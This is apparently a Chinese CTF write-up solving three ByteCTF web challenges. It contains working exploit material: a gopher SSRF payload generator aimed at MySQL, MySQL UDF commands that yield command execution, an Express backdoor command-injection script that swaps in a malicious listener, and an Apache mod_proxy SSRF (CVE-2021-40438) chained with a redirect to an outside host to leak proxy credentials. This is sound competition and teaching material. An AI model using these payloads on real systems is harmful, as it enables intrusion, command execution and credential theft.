seo
探测
在测试功能的时候发现了很多接口
我们发现/api/ip.php接口存在ssrf
但是这个接口file协议被ban了
然后在下载词库那里发现可以任意文件下载
于是/etc/hosts探测内网
发现网段是172.73.23.21/24
于是为了发现主机我们访问/proc/net/arp
发现了100这台主机。
内网常见可探测的端口:21、22、23、80、3306、6379、8080 ,发现 172.73.23.100 开放着 3306 端口:
接下来重点是使用 SSRF 去攻击这个 MySQL 服务,配合本地的 tcpdump 抓取 MySQL 的流量:
gopher攻击mysql未授权
https://coomrade.github.io/2018/10/28/SSRF攻击MySQL/
通过上面base解码得到mysql版本。docker拉一个下来。并进入docker修改密码为空。
use mysql;
UPDATE user SET Password = PASSWORD('') WHERE user = 'root';
FLUSH PRIVILEGES;
docker run --name=mysql1 -it -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:5.6.51
同时使用tcpdump抓包
tcpdump -i lo port 3306 -w mysql.pcapng
抓到的数据包保存原始数据
写个原始数据转gopher的脚本
import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
s="""c300000185a2bf1900000001ff0000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640086045f706964053532343331095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c0b6f735f7375646f75736572067562756e7475076f735f7573657204726f6f740f5f636c69656e745f76657273696f6e06382e302e32370c70726f6772616d5f6e616d65056d7973716c
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
180000000373656c656374207379735f6576616c28276c73202f2729
0100000001
"""
s=s.replace('\n','')
print(s)
print(results(s))
打到环境里可以执行
然后使用UDF提权。
用这个写入https://www.sqlsec.com/tools/udf.html
mysql -uroot -h 127.0.0.1 -e "SELECT 0000000000001000000030000000000000000.....00000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so"
写入后创建自定义函数
mysql -uroot -h 127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
创建好后执行
mysql -uroot -h 127.0.0.1 -e "select sys_eval('ls /');"
读取flag
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1
或者直接gopherus构造
Nothing
http://39.106.69.116:30001/source 可以获得源码
const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()
app.get('/', (req, res) => {
if (!('ByteCTF' in req.query)) {
res.end("Here is a backdoor,can you shell it and get the flag?")
return
}
if (req.query.ByteCTF.length > 3000) {
const byteCTF = JSON.stringify(req.query.ByteCTF)
if (byteCTF.length > 1024) {
res.end("too long.")
return
}
try {
const q = "{" + req.query.ByteCTF + "}"
res.end("Got it!")
} catch {
if (req.query.backdoor) {
exec(req.query.backdoor)
res.send("exec complete,but nothing here")
} else {
res.end("Nothing here!")
}
}
} else {
res.end("too short.")
return
}
})
app.get('/source', (req, res) => {
res.end(src)
});
app.listen(3000, () => {
console.log(`listening at port 3000`)
})
这里用了toString来报错
http://39.106.69.116:30001/?ByteCTF[length]=10000000000&ByteCTF[toString]&backdoor={}
这里的环境无回显,不出网。这里可以kill掉父进程node。自己起一个服务占用3000端口拿到回显(或者:用kill掉node 导致 http请求失败,来cut盲注flag,但是不稳定 [ cut -b 1 /flagfilename
== x ] && pkill node)
const express = require('express')
const fs = require('fs')
const execSync = require('child_process').execSync;
const app = express()
app.get('/backdoor', (req, res) => { //防蹭车
res.send("SUCCESS:"+execSync(req.query.flag).toString())
res.end()
})
app.listen(3000, () => {
console.log(`listening at port 3000`)
})
import requests
import base64
remote_url = "http://39.106.69.116:30001/?ByteCTF[length]=4000&ByteCTF[toString][]=&backdoor="
def encode(sth):
result = ""
for i in sth:
result += "%%%02x" % ord(i)
return result
//url编码
def execute_command(cmd):
url = remote_url + encode(cmd)
r = requests.get(url,proxies={"http":"http://localhost:8080"})
return r.status_code
evil_js_b64 = None
with open("evil.js","rb") as file:
evil_js_b64 = file.read()
evil_js_b64 = base64.b64encode(evil_js_b64).decode()
# while 1:
# execute_command(f"pkill node;node -e \"`echo {evil_js_b64} | base64 -d`\"")
print(encode("pkill node"))
proxy
在httpd.conf
文件中可以看到代理配置
ServerName bytectf
Listen 8123
<VirtualHost "*:8123">
ProxyRequests On
<Proxy "*">
AuthType Basic
AuthName "Only For Internal Use, Password Required"
AuthUserFile password.file
AuthGroupFile group.file
Require group usergroup
Require host web
</Proxy>
</VirtualHost>
Listen 80
<VirtualHost "*:80">
ProxyPass "/" "http://website/" disablereuse=On
</VirtualHost>
8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面
内网internal部分有个app.py
from flask import Flask, request, render_template
import requests, os
PROXY_USER = os.getenv('CHALL_PROXY_USER')
PROXY_PASS = os.getenv('CHALL_PROXY_PASS')
PROXIES = {'http': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123', 'https': f'http://{PROXY_USER}:{PROXY_PASS}@proxy:8123'}
app = Flask(__name__)
@app.route('/')
def main():
return render_template('index.html')
@app.route('/fetch', methods=['POST'])
def fetch():
if not request.form['url']:
return f'Please provide url'
app.logger.info(request.form['url'])
try:
resp = requests.get(request.form['url'], timeout=5, proxies=PROXIES)
except Exception as e:
app.logger.error(f'Error: {e}')
return 'Error'
if resp.status_code == 200:
return resp.text
else:
app.logger.warning(f'Error: status {resp.status_code}')
return 'Error'
if __name__ == '__main__':
app.run()
可以通过fetch路由发出代理请求
这个题的flag放在了代理的密码里
所以本题的大致解题思路梳理如下
通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass
解题
代理服务器为Apache 2.4.48
直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48
https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html
/?unix:<4096个以上a>|http://internal/
然后是Python requests<=2.25.1 的漏洞,Proxy-Authorization 用一个302跳转就能带出来:
这里推荐一个网站https://httpbingo.org/
POST /?unix:<4096个以上a>?|http://internal/fetch HTTP/1.1
Host: web
Content-Type: application/x-www-form-urlencoded
url=https://httpbingo.org/redirect-to?url=https://httpbingo.org/headers
注:如果是跳转到http网站,则Proxy-Authentication会在代理端被drop掉。但如果是跳到https网站,走的是CONNECT协议,代理无法解析,所以这个头在走代理的同时仍然会被保留。 走http,可见确实没有了Proxy-Authentication。
这里发http包的时候要注意加content-type
Content-Type: application/x-www-form-urlencoded